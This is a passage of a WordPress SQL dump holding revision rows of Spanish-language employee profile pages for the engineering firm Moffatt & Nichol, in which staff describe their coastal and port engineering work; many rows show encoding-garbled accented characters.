comprenden desde infraestructura de drenaje y mejores prácticas de gestión de aguas pluviales para puertos y municipalidades, o proyectos de recuperación de playas y planeamiento de bocas de entrada para organismos locales y estatales, hasta diseños hidráulicos de propuestas de aliviaderos y tinas de reutilización de agua de esclusas. \r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nHemos duplicado de tamaño, pero aún mantenemos nuestro ambiente “familiar”.  Hemos abierto muchas oficinas nuevas en Estados Unidos y a nivel internacional, pero hemos mantenido nuestro principal talento técnico en los centros especializados que proporcionan productos de alta calidad a nuestros clientes en todo el mundo. \r\n</p>\r\n\r\n','Johnny','<p class=\"para-text\">\r\n<strong>Johnny </strong>\r\nIngeniero hidrÃ¡ulico \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\r\nComencÃ© a trabajar con la firma hace 14 aÃ±os, despuÃ©s de terminar las clases para mi maestrÃa.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\r\nTrabajo en una variedad de proyectos en la firma, lo que me mantiene al tanto de los Ãºltimos avances en mi campo de experiencia profesional, la ingenierÃa costera e hidrÃ¡ulica. La firma promueve un espÃritu emprendedor, que da a todos los empleados un verdadero sentido de propiedad y contribuciÃ³n.</p>','inherit','open','open','','1541-autosave','','','2012-09-06 10:09:35','2012-09-06 10:09:35','',1541,'http://moffattnichol.com/spanish/1541-autosave/',0,'revision','',0),(2694,1,'2011-12-31 08:49:27','2011-12-31 03:19:27','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/deven.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/deven.jpg\" alt=\"\" title=\"deven\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1545\" /></a>\n<p class=\"para-text\">\n<strong>Devan</strong>\n Ingeniero civil  \n \n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\n5 aÃ±os\n\n<strong>Â¿QuÃ© le ha mantenido con la firma?</strong>\nTrabajo en una gran variedad de proyectos ubicados por todo el mundo, desde dragados a transporte. BÃ¡sicamente, trabajo en proyectos de dragado para instalaciones portuarias y navales, pero he diseÃ±ado drenajes pluviales y proyectos de nivelaciÃ³n para desarrollos de Ã¡reas sin edificar adyacentes a puertos, y tambiÃ©n he participado en inspecciones submarinas de instalaciones de frentes costeros.  Â¡La diversidad de trabajo es emocionante!\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n en la firma? </strong>\nFui contratado como ingeniero junior/tÃ©cnico CAD. Ahora tengo tÃ©cnicos CAD y diseÃ±adores que trabajan conmigo. TambiÃ©n estoy comenzando a asumir la funciÃ³n de ingeniero de proyecto en algunos proyectos. \n\n<strong>Â¿CÃ³mo describirÃa su ambiente de trabajo?</strong>\nEs muy profesional y orientado a trabajar en equipo.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n? </strong>\nEs muy satisfactorio cuando nuestros clientes regresan a M&N para solicitar servicios de diseÃ±o. TambiÃ©n me impresionan el profesionalismo y la experiencia de los empleados de M&N y la calidad de sus servicios. \n\n</p>\n','Devan ','<p class=\"para-text\">\n<strong>Devan</strong>\n Ingeniero civil  \n \n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\n5 aÃ±os\n\n<strong>Â¿QuÃ© le ha mantenido con la firma?</strong>\nTrabajo en una gran variedad de proyectos ubicados por todo el mundo, desde dragados a transporte. BÃ¡sicamente, trabajo en proyectos de dragado para instalaciones portuarias y navales, pero he diseÃ±ado drenajes pluviales y proyectos de nivelaciÃ³n para desarrollos de Ã¡reas sin edificar adyacentes a puertos,</p>','inherit','open','open','','1544-revision','','','2011-12-31 08:49:27','2011-12-31 03:19:27','',1544,'http://moffattnichol.com/spanish/1544-revision/',0,'revision','',0),(2695,1,'2011-12-29 08:55:51','2011-12-29 03:25:51','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg\" alt=\"\" title=\"miechel\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1553\" /></a>\n<p class=\"para-text\">\n<strong>Michael</strong>\nGerente principal de proyectos  \n \n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\nPersonal muy experimentado de Moffatt & Nichol presentÃ³ un interesante proyecto de restauraciÃ³n de riberas en una reuniÃ³n de estudiantes de la ASCE (AsociaciÃ³n Americana de Ingenieros Civiles) en mi universidad. Â¡QuedÃ© encantado! Tuve una entrevista con la firma 6 meses despuÃ©s y me contrataron a tiempo parcial, asÃ que pude completar mi Ãºltimo semestre de la universidad. Me contrataron a tiempo completo despuÃ©s de la graduaciÃ³n en junio de 1989 con un salario de Â¡$13 por hora!\n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa? </strong>\nLa variedad y la oportunidad. La cantidad de tipos diferentes de proyectos en los que participo hace que mi trabajo sea interesante y estimulante. La oportunidad de intentar nuevas cosas y participar en diversos niveles del proceso del diseÃ±o y construcciÃ³n es una valiosa experiencia que se conserva por el resto de su carrera. Cuando les pregunto a nuevos empleados que vinieron de otras firmas, despuÃ©s de haber estado aquÃ algunos meses, quÃ© piensan de M&N, casi siempre obtengo la misma respuesta: la mejor compaÃ±Ãa en que he trabajado jamÃ¡s, y por mucha diferencia. AsÃ que, Â¿por quÃ© deberÃa irme?\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado? </strong>\nUna variedad de proyectos, tales como puertos deportivos, rompeolas, desembocaduras, instalaciones de almacenamiento en dique seco, restauraciones de humedales, estudios de zonas de navegaciÃ³n, malecones, inspecciones de la estructura de frentes costeros, inspecciones submarinas con buzos, instrumentaciÃ³n, gestiÃ³n de la construcciÃ³n, protecciones de riberas, calzadas, estacionamientos, e incluso una estaciÃ³n de bombeo.\n\n<strong>Â¿CÃ³mo describirÃa el ambiente de trabajo? </strong>\nMuy profesional y respetuoso. Nadie considera nada por sentado. Es una atmÃ³sfera de equipo que trabaja muy bien no solo a nivel de la oficina sino tambiÃ©n entre oficinas. \n\n</p>\n\n','Michael ','<p class=\"para-text\">\n<strong>Michael</strong>\nGerente principal de proyectos  \n \n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\nPersonal muy experimentado de Moffatt & Nichol presentÃ³ un interesante proyecto de restauraciÃ³n de riberas en una reuniÃ³n de estudiantes de la ASCE (AsociaciÃ³n Americana de Ingenieros Civiles) en mi universidad. Â¡QuedÃ© encantado! Tuve una entrevista con la firma 6 meses despuÃ©s y me contrataron a tiempo parcial, asÃ que pude completar mi Ãºltimo semestre de la universidad.</p>','inherit','open','open','','1552-revision','','','2011-12-29 08:55:51','2011-12-29 03:25:51','',1552,'http://moffattnichol.com/spanish/1552-revision/',0,'revision','',0),(2696,1,'2012-09-06 10:12:01','2012-09-06 10:12:01','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/miechel.jpg\" alt=\"\" title=\"miechel\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1553\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Michael</strong>\r\nGerente principal de proyectos  \r\n \r\n<strong>¿Cómo llegó a M&N? </strong>\r\nPersonal muy experimentado de Moffatt & Nichol presentó un interesante proyecto de restauración de riberas en una reunión de estudiantes de la ASCE (Asociación Americana de Ingenieros Civiles) en mi universidad. ¡Quedé encantado! Tuve una entrevista con la firma 6 meses después y me contrataron a tiempo parcial, así que pude completar mi último semestre de la universidad. Me contrataron a tiempo completo después de la graduación en junio de 1989 con un salario de ¡$13 por hora!\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nLa variedad y la oportunidad. La cantidad de tipos diferentes de proyectos en los que participo hace que mi trabajo sea interesante y estimulante. La oportunidad de intentar nuevas cosas y participar en diversos niveles del proceso del diseño y construcción es una valiosa experiencia que se conserva por el resto de su carrera. Cuando les pregunto a nuevos empleados que vinieron de otras firmas, después de haber estado aquí algunos meses, qué piensan de M&N, casi siempre obtengo la misma respuesta: la mejor compañía en que he trabajado jamás, y por mucha diferencia. Así que, ¿por qué debería irme?\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nUna variedad de proyectos, tales como puertos deportivos, rompeolas, desembocaduras, instalaciones de almacenamiento en dique seco, restauraciones de humedales, estudios de zonas de navegación, malecones, inspecciones de la estructura de frentes costeros, inspecciones submarinas con buzos, instrumentación, gestión de la construcción, protecciones de riberas, calzadas, estacionamientos, e incluso una estación de bombeo.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo? </strong>\r\nMuy profesional y respetuoso. Nadie considera nada por sentado. Es una atmósfera de equipo que trabaja muy bien no solo a nivel de la oficina sino también entre oficinas. \r\n\r\n</p>\r\n\r\n','Michael ','<p class=\"para-text\">\r\n<strong>Michael</strong>\r\nGerente principal de proyectos  \r\n \r\n<strong>Â¿CÃ³mo llegÃ³ a M&N? </strong>\r\nPersonal muy experimentado de Moffatt & Nichol presentÃ³ un interesante proyecto de restauraciÃ³n de riberas en una reuniÃ³n de estudiantes de la ASCE (AsociaciÃ³n Americana de Ingenieros Civiles) en mi universidad. Â¡QuedÃ© encantado! Tuve una entrevista con la firma 6 meses despuÃ©s y me contrataron a tiempo parcial, asÃ que pude completar mi Ãºltimo semestre de la universidad.</p>','inherit','open','open','','1552-autosave','','','2012-09-06 10:12:01','2012-09-06 10:12:01','',1552,'http://moffattnichol.com/spanish/1552-autosave/',0,'revision','',0),(2697,1,'2011-12-28 08:58:19','2011-12-28 03:28:19','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg\" alt=\"\" title=\"mark\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1556\" /></a>\n<p class=\"para-text\">\n<strong>Mark </strong>\nIngeniero costero principal \n \n<strong>Â¿QuÃ© le ha mantenido con Moffatt & Nichol?</strong> \nLa cultura enfocada en las personas de la firma; apoya a las personas que tienen un espÃritu emprendedor. La firma tambiÃ©n promueve sÃ³lidas relaciones dentro de cada oficina y entre las oficinas.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros? </strong>\nMe unÃ a la firma para trabajar como ingeniero de proyecto para proyectos grandes, y como gerente de proyecto para proyectos mÃ¡s pequeÃ±os. Mi funciÃ³n se ha desarrollado bastante durante mi tiempo en la firma. Manejo una amplia gama de proyectos pequeÃ±os y grandes y tambiÃ©n doy apoyo a las actividades y al marketing del desarrollo de negocios, tales como el desarrollo de relaciones con clientes privados y pÃºblicos y la redacciÃ³n y preparaciÃ³n de licitaciones. TambiÃ©n oriento y superviso los horarios y la carga de trabajo de los ingenieros costeros en nuestra oficina.\n\n<strong>Â¿En quÃ© tipo de proyectos trabaja?</strong> \nEn los cinco Ãºltimos aÃ±os, nuestra oficina ha proporcionado servicios de planeamiento maestro y diseÃ±o para varios desarrollos privados en el sureste de EE.UU. y en el Caribe. Estos proyectos se enfocan en la alimentaciÃ³n y el mejoramiento de playas, protecciÃ³n costera y planeamiento, y diseÃ±o de puertos deportivos. AdemÃ¡s, hemos proporcionado servicios de ingenierÃa costera a varios distritos y municipalidades de gestiÃ³n de agua.\n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³? </strong>\nLa compaÃ±Ãa ha crecido mÃ¡s y estÃ¡ mÃ¡s enfocada en aumentar sus capacidades en nuestras prÃ¡cticas esenciales. La compaÃ±Ãa tambiÃ©n estÃ¡ volviendo al Ã¡mbito internacional, donde hay importantes oportunidades de crecimiento \n\n<strong>Â¿CÃ³mo describirÃa el ambiente de trabajo? </strong>\nÂ¡Excelente! Sigo aprendiendo algo nuevo cada dÃa en base a la interacciÃ³n entre los empleados de mi oficina y nuestras otras oficinas en todo el mundo.\n\n<strong>Â¿QuÃ© separa a M&N de la competencia? </strong>\nNuestro grado de reacciÃ³n a nuestros clientes; nos esforzamos mucho para mantener relaciones de largo plazo con nuestros clientes. \n\n</p>','Mark','<p class=\"para-text\">\n<strong>Mark </strong>\nIngeniero costero principal \n \n<strong>Â¿QuÃ© le ha mantenido con Moffatt & Nichol?</strong> \nLa cultura enfocada en las personas de la firma; apoya a las personas que tienen un espÃritu emprendedor. La firma tambiÃ©n promueve sÃ³lidas relaciones dentro de cada oficina y entre las oficinas.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros? </strong>\nMe unÃ a la firma para trabajar como ingeniero de proyecto para proyectos grandes,</p>','inherit','open','open','','1555-revision','','','2011-12-28 08:58:19','2011-12-28 03:28:19','',1555,'http://moffattnichol.com/spanish/1555-revision/',0,'revision','',0),(2698,1,'2012-09-06 10:14:47','2012-09-06 10:14:47','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/mark.jpg\" alt=\"\" title=\"mark\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1556\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Mark </strong>\r\nIngeniero costero principal \r\n \r\n<strong>¿Qué le ha mantenido con Moffatt & Nichol?</strong> \r\nLa cultura enfocada en las personas de la firma; apoya a las personas que tienen un espíritu emprendedor. La firma también promueve sólidas relaciones dentro de cada oficina y entre las oficinas.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros? </strong>\r\nMe uní a la firma para trabajar como ingeniero de proyecto para proyectos grandes, y como gerente de proyecto para proyectos más pequeños. Mi función se ha desarrollado bastante durante mi tiempo en la firma. Manejo una amplia gama de proyectos pequeños y grandes y también doy apoyo a las actividades y al marketing del desarrollo de negocios, tales como el desarrollo de relaciones con clientes privados y públicos y la redacción y preparación de licitaciones. También oriento y superviso los horarios y la carga de trabajo de los ingenieros costeros en nuestra oficina.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja?</strong> \r\nEn los cinco últimos años, nuestra oficina ha proporcionado servicios de planeamiento maestro y diseño para varios desarrollos privados en el sureste de EE.UU. y en el Caribe. Estos proyectos se enfocan en la alimentación y el mejoramiento de playas, protección costera y planeamiento, y diseño de puertos deportivos. Además, hemos proporcionado servicios de ingeniería costera a varios distritos y municipalidades de gestión de agua.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha crecido más y está más enfocada en aumentar sus capacidades en nuestras prácticas esenciales. La compañía también está volviendo al ámbito internacional, donde hay importantes oportunidades de crecimiento \r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo? </strong>\r\n¡Excelente! Sigo aprendiendo algo nuevo cada día en base a la interacción entre los empleados de mi oficina y nuestras otras oficinas en todo el mundo.\r\n\r\n<strong>¿Qué separa a M&N de la competencia? </strong>\r\nNuestro grado de reacción a nuestros clientes; nos esforzamos mucho para mantener relaciones de largo plazo con nuestros clientes. \r\n\r\n</p>','Mark','<p class=\"para-text\">\r\n<strong>Mark </strong>\r\nIngeniero costero principal \r\n \r\n<strong>Â¿QuÃ© le ha mantenido con Moffatt & Nichol?</strong> \r\nLa cultura enfocada en las personas de la firma; apoya a las personas que tienen un espÃritu emprendedor. La firma tambiÃ©n promueve sÃ³lidas relaciones dentro de cada oficina y entre las oficinas.\r\n\r\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros? </strong>\r\nMe unÃ a la firma para trabajar como ingeniero de proyecto para proyectos grandes,</p>','inherit','open','open','','1555-autosave','','','2012-09-06 10:14:47','2012-09-06 10:14:47','',1555,'http://moffattnichol.com/spanish/1555-autosave/',0,'revision','',0),(2699,1,'2011-12-27 09:58:47','2011-12-27 04:28:47','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg\" alt=\"\" title=\"Margaret\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1562\" /></a>\n\n<p class=\"para-text\">\n<strong>Margaret, Ciencias medioambientales  </strong>\nCientÃfica medioambiental \n \nBiÃ³loga pesquera con una maestrÃa en ciencias, Margaret se especializa en estudios ambientales locales, estatales y federales asÃ como en las regulaciones sobre la gestiÃ³n de autorizaciones para proyectos acuÃ¡ticos y de frentes costeros.\n\n<strong>Â¿CuÃ¡ndo y por quÃ© se uniÃ³ a Moffatt & Nichol?</strong>\nQuerÃa trabajar para una compaÃ±Ãa consultora que se preocupara por sus empleados, asÃ como donde pudiera seguir trabajando en temas ambientales y de gestiÃ³n de autorizaciones en relaciÃ³n con proyectos acuÃ¡ticos y de frentes costeros. Moffatt & Nichol me dio esa oportunidad, asÃ que me sumÃ© en 2006.\n\n<strong>Â¿QuÃ© es lo que ama mÃ¡s sobre su trabajo?</strong>\nDisfruto trabajar en proyectos de nuevos desarrollos, especÃficamente los que promuevan aplicaciones o negocios que dependen del agua. La importancia de los frentes costeros y las riberas en nuestra economÃa, comunidad, cultura y medioambiente, hace que trabajar en este tipo de proyectos, y los importantes y polÃ©micos temas en relaciÃ³n con ellos, sea muy satisfactorio. Creo que una industria prÃ³spera de frentes costeros y un medioambiente ribereÃ±o sano no son excluyentes. En Moffatt & Nichol, he podido continuar mi participaciÃ³n en proyectos que promueven industrias que dependen del agua y riberas sanas y sostenibles. No hay nada mÃ¡s satisfactorio que ver que un proyecto para un cliente se termina a tiempo y dentro del presupuesto despuÃ©s de exitosas negociaciones con organismos reguladores, gobiernos tribales y la comunidad.\n\n<strong>Â¿CÃ³mo describirÃa su ambiente de trabajo?</strong>\nCuando comencÃ©, me preguntaba si por no ser ingeniera tendrÃa la sensaciÃ³n de no ser parte del equipo. Aunque ese no ha sido el caso. No solo son los proyectos en los que trabajo, sino la gente con quien trabajo, que hacen que mi tiempo en Moffatt & Nichol sea muy placentero. He conocido mucha gente hÃ¡bil y experta, no solo de mi oficina, sino tambiÃ©n de otras oficinas dentro de la compaÃ±Ãa. Aprecio el apoyo que Moffatt & Nichol da a sus empleados para conocerse e interaccionar con colegas de todo el mundo. Me ha ayudado a sentirme parte de un gran equipo.\n\n\n</p>\n','Margaret, Ciencias medioambientales ','<p class=\"para-text\">\n<strong>Margaret, Ciencias medioambientales  </strong>\nCientÃfica medioambiental \n \nBiÃ³loga pesquera con una maestrÃa en ciencias, Margaret se especializa en estudios ambientales locales, estatales y federales asÃ como en las regulaciones sobre la gestiÃ³n de autorizaciones para proyectos acuÃ¡ticos y de frentes costeros.\n\n<strong>Â¿CuÃ¡ndo y por quÃ© se uniÃ³ a Moffatt & Nichol?</strong></p>','inherit','open','open','','1561-revision','','','2011-12-27 09:58:47','2011-12-27 04:28:47','',1561,'http://moffattnichol.com/spanish/1561-revision/',0,'revision','',0),(2700,1,'2012-09-06 10:19:02','2012-09-06 10:19:02','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Margaret.jpg\" alt=\"\" title=\"Margaret\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1562\" /></a>\r\n\r\n<p class=\"para-text\">\r\n<strong>Margaret, Ciencias medioambientales  </strong>\r\nCientífica medioambiental \r\n \r\nBióloga pesquera con una maestría en ciencias, Margaret se especializa en estudios ambientales locales, estatales y federales así como en las regulaciones sobre la gestión de autorizaciones para proyectos acuáticos y de frentes costeros.\r\n\r\n<strong>¿Cuándo y por qué se unió a Moffatt & Nichol?</strong>\r\nQuería trabajar para una compañía consultora que se preocupara por sus empleados, así como donde pudiera seguir trabajando en temas ambientales y de gestión de autorizaciones en relación con proyectos acuáticos y de frentes costeros. Moffatt & Nichol me dio esa oportunidad, así que me sumé en 2006.\r\n\r\n<strong>¿Qué es lo que ama más sobre su trabajo?</strong>\r\nDisfruto trabajar en proyectos de nuevos desarrollos, específicamente los que promuevan aplicaciones o negocios que dependen del agua. La importancia de los frentes costeros y las riberas en nuestra economía, comunidad, cultura y medioambiente, hace que trabajar en este tipo de proyectos, y los importantes y polémicos temas en relación con ellos, sea muy satisfactorio. Creo que una industria próspera de frentes costeros y un medioambiente ribereño sano no son excluyentes. En Moffatt & Nichol, he podido continuar mi participación en proyectos que promueven industrias que dependen del agua y riberas sanas y sostenibles. No hay nada más satisfactorio que ver que un proyecto para un cliente se termina a tiempo y dentro del presupuesto después de exitosas negociaciones con organismos reguladores, gobiernos tribales y la comunidad.\r\n\r\n<strong>¿Cómo describiría su ambiente de trabajo?</strong>\r\nCuando comencé, me preguntaba si por no ser ingeniera tendría la sensación de no ser parte del equipo. Aunque ese no ha sido el caso. No solo son los proyectos en los que trabajo, sino la gente con quien trabajo, que hacen que mi tiempo en Moffatt & Nichol sea muy placentero. He conocido mucha gente hábil y experta, no solo de mi oficina, sino también de otras oficinas dentro de la compañía. Aprecio el apoyo que Moffatt & Nichol da a sus empleados para conocerse e interaccionar con colegas de todo el mundo. Me ha ayudado a sentirme parte de un gran equipo.\r\n\r\n\r\n</p>\r\n','Margaret, Ciencias medioambientales ','<p class=\"para-text\">\r\n<strong>Margaret, Ciencias medioambientales  </strong>\r\nCientÃfica medioambiental \r\n \r\nBiÃ³loga pesquera con una maestrÃa en ciencias, Margaret se especializa en estudios ambientales locales, estatales y federales asÃ como en las regulaciones sobre la gestiÃ³n de autorizaciones para proyectos acuÃ¡ticos y de frentes costeros.\r\n\r\n<strong>Â¿CuÃ¡ndo y por quÃ© se uniÃ³ a Moffatt & Nichol?</strong></p>','inherit','open','open','','1561-autosave','','','2012-09-06 10:19:02','2012-09-06 10:19:02','',1561,'http://moffattnichol.com/spanish/1561-autosave/',0,'revision','',0),(2701,1,'2012-09-06 10:25:27','2012-09-06 10:25:27','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg\"><img class=\"alignnone size-full wp-image-1566\" title=\"victor-2\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg\" alt=\"\" width=\"150\" height=\"152\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Victor </strong>\r\nIngeniero portuario \r\n \r\nVíctor, que trabaja con Moffatt & Nichol desde hace más de tres años, tiene más de 11 años de experiencia especializada en el diseño, análisis, inspección y rehabilitación de instalaciones portuarias. También es un buzo experimentado y un talentoso guitarrista que toca en una banda de tributo para la banda norteamericana de rock duro, Tool. \r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nVine a Moffatt & Nichol a continuar mi experiencia de ingeniería marítima y para ayudar a desarrollar una nueva oficina, pero me he quedado debido a las interesantes oportunidades de trabajo y a los excelentes compañeros de trabajo y clientes. La compañía apoya a sus profesionales y les ofrece oportunidades para el autodesarrollo.\r\n\r\n<strong>¿Qué es lo que ama más sobre su trabajo?</strong>\r\nPuedo trabajar en diversos proyectos marítimos, pero generalmente, en el diseño y la construcción de puertos nuevos. Disfruto de la diversidad y los singulares desafíos que se encuentran en el trabajo con frentes costeros.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nMoffatt & Nichol es un líder en la industria en los proyectos relacionados con frentes costeros y puertos, con mucha historia y una impresionante cartera de proyectos. Este reconocimiento nos abre puertas con nuevos clientes, y nuestros éxitos anteriores mantienen a nuestros clientes existentes\r\n\r\n<strong>¿Qué es lo más interesante en que ha participado durante su trabajo con Moffatt & Nichol?</strong>\r\nParticipé en dar forma y dirigir uno de los proyectos de simulación marítima más grandes emprendidos jamás (enrutado a través de más de 100 millas náuticas de vías navegables medioambientalmente sensibles y meteorológicamente activas), y después tuve que separarme para hacer una inspección submarina en la costa de Luisiana. ¿Qué tal para único y diverso? Fantástico.','Victor ','<p class=\"para-text\">\r\n<strong>Victor </strong>\r\nIngeniero portuario \r\n \r\nVÃctor, que trabaja con Moffatt & Nichol desde hace mÃ¡s de tres aÃ±os, tiene mÃ¡s de 11 aÃ±os de experiencia especializada en el diseÃ±o, anÃ¡lisis, inspecciÃ³n y rehabilitaciÃ³n de instalaciones portuarias. TambiÃ©n es un buzo experimentado y un talentoso guitarrista que toca en una banda de tributo para la banda norteamericana de rock duro, Tool. </p>','inherit','open','open','','1565-autosave','','','2012-09-06 10:25:27','2012-09-06 10:25:27','',1565,'http://moffattnichol.com/spanish/1565-autosave/',0,'revision','',0),(2702,1,'2011-12-26 10:01:42','2011-12-26 04:31:42','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg\" alt=\"\" title=\"victor-2\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1566\" /></a>\n<p class=\"para-text\">\n<strong>Victor </strong>\nIngeniero portuario \n \nVÃctor, que trabaja con Moffatt & Nichol desde hace mÃ¡s de tres aÃ±os, tiene mÃ¡s de 11 aÃ±os de experiencia especializada en el diseÃ±o, anÃ¡lisis, inspecciÃ³n y rehabilitaciÃ³n de instalaciones portuarias. TambiÃ©n es un buzo experimentado y un talentoso guitarrista que toca en una banda de tributo para la banda norteamericana de rock duro, Tool. \n\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa? </strong>\nVine a Moffatt & Nichol a continuar mi experiencia de ingenierÃa marÃtima y para ayudar a desarrollar una nueva oficina, pero me he quedado debido a las interesantes oportunidades de trabajo y a los excelentes compaÃ±eros de trabajo y clientes. La compaÃ±Ãa apoya a sus profesionales y les ofrece oportunidades para el autodesarrollo.\n\n<strong>Â¿QuÃ© es lo que ama mÃ¡s sobre su trabajo?</strong>\nPuedo trabajar en diversos proyectos marÃtimos, pero generalmente, en el diseÃ±o y la construcciÃ³n de puertos nuevos. Disfruto de la diversidad y los singulares desafÃos que se encuentran en el trabajo con frentes costeros.\n\n<strong>Â¿QuÃ© separa a Moffatt & Nichol de la competencia?</strong>\nMoffatt & Nichol es un lÃder en la industria en los proyectos relacionados con frentes costeros y puertos, con mucha historia y una impresionante cartera de proyectos. Este reconocimiento nos abre puertas con nuevos clientes, y nuestros Ã©xitos anteriores mantienen a nuestros clientes existentes\n\n<strong>Â¿QuÃ© es lo mÃ¡s interesante en que ha participado durante su trabajo con Moffatt & Nichol?</strong>\nParticipÃ© en dar forma y dirigir uno de los proyectos de simulaciÃ³n marÃtima mÃ¡s grandes emprendidos jamÃ¡s (enrutado a travÃ©s de mÃ¡s de 100 millas nÃ¡uticas de vÃas navegables medioambientalmente sensibles y meteorolÃ³gicamente activas), y despuÃ©s tuve que separarme para hacer una inspecciÃ³n submarina en la costa de Luisiana. Â¿QuÃ© tal para Ãºnico y diverso? FantÃ¡stico.\n\n</p>\n\n','Victor ','<p class=\"para-text\">\n<strong>Victor </strong>\nIngeniero portuario \n \nVÃctor, que trabaja con Moffatt & Nichol desde hace mÃ¡s de tres aÃ±os, tiene mÃ¡s de 11 aÃ±os de experiencia especializada en el diseÃ±o, anÃ¡lisis, inspecciÃ³n y rehabilitaciÃ³n de instalaciones portuarias. TambiÃ©n es un buzo experimentado y un talentoso guitarrista que toca en una banda de tributo para la banda norteamericana de rock duro, Tool. </p>','inherit','open','open','','1565-revision','','','2011-12-26 10:01:42','2011-12-26 04:31:42','',1565,'http://moffattnichol.com/spanish/1565-revision/',0,'revision','',0),(2703,1,'2011-12-25 10:03:52','2011-12-25 04:33:52','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg\" alt=\"\" title=\"Ingrid,PE\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1570\" /></a>\n<p class=\"para-text\">\n<strong>Ingrid, ingeniera profesional </strong>\nIngeniera principal \n \nIngrid tiene mÃ¡s de 20 aÃ±os de experiencia y se especializa en el anÃ¡lisis y diseÃ±o estructural y en simulaciones operacionales. Generalmente trabaja en terminales marÃtimas y sus responsabilidades incluyen los estudios de localizaciÃ³n, el diseÃ±o estructural preliminar o detallado y los estudios de logÃstica, por mencionar solo algunos. \n\n<strong>Â¿CÃ³mo se han desarrollado sus funciones en los siete aÃ±os que permanece con Moffatt & Nichol?</strong>\nEl reciente interÃ©s en instalaciones de gas natural licuado me ha dado la oportunidad de adquirir nuevas habilidades en operaciones y logÃstica. Este trabajo, mÃ¡s mi formaciÃ³n en anÃ¡lisis, me ha permitido trabajar junto con ingenieros de otras oficinas de Moffatt & Nichol y participar en proyectos a lo largo y ancho de Estados Unidos. Estoy emocionada por las oficinas internacionales de la compaÃ±Ãa, que espero me den tambiÃ©n mÃ¡s oportunidades de participar en proyectos globales interesantes.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n?</strong>\nTrabajar en proyectos difÃciles y trabajar con colegas motivados y profesionales. Ahora estoy trabajando en un proyecto muy interesante que me da la oportunidad de trabajar con algunos ingenieros geotÃ©cnicos muy talentosos. TambiÃ©n disfruto del trabajo de logÃstica y modelaciÃ³n, porque puedo aplicar mi entrenamiento comercial y ayudar a nuestros clientes con sus decisiones de inversiÃ³n de capital al inicio de la vida del proyecto.\n\n<strong>Â¿QuÃ© separa a Moffatt & Nichol de la competencia?</strong>\nEn mi opiniÃ³n, la cultura de Moffatt & Nichol acentÃºa lo que realmente importa: la importancia de hacer un buen trabajo y de producir un producto de calidad. AdemÃ¡s, la firma es selectiva sobre a 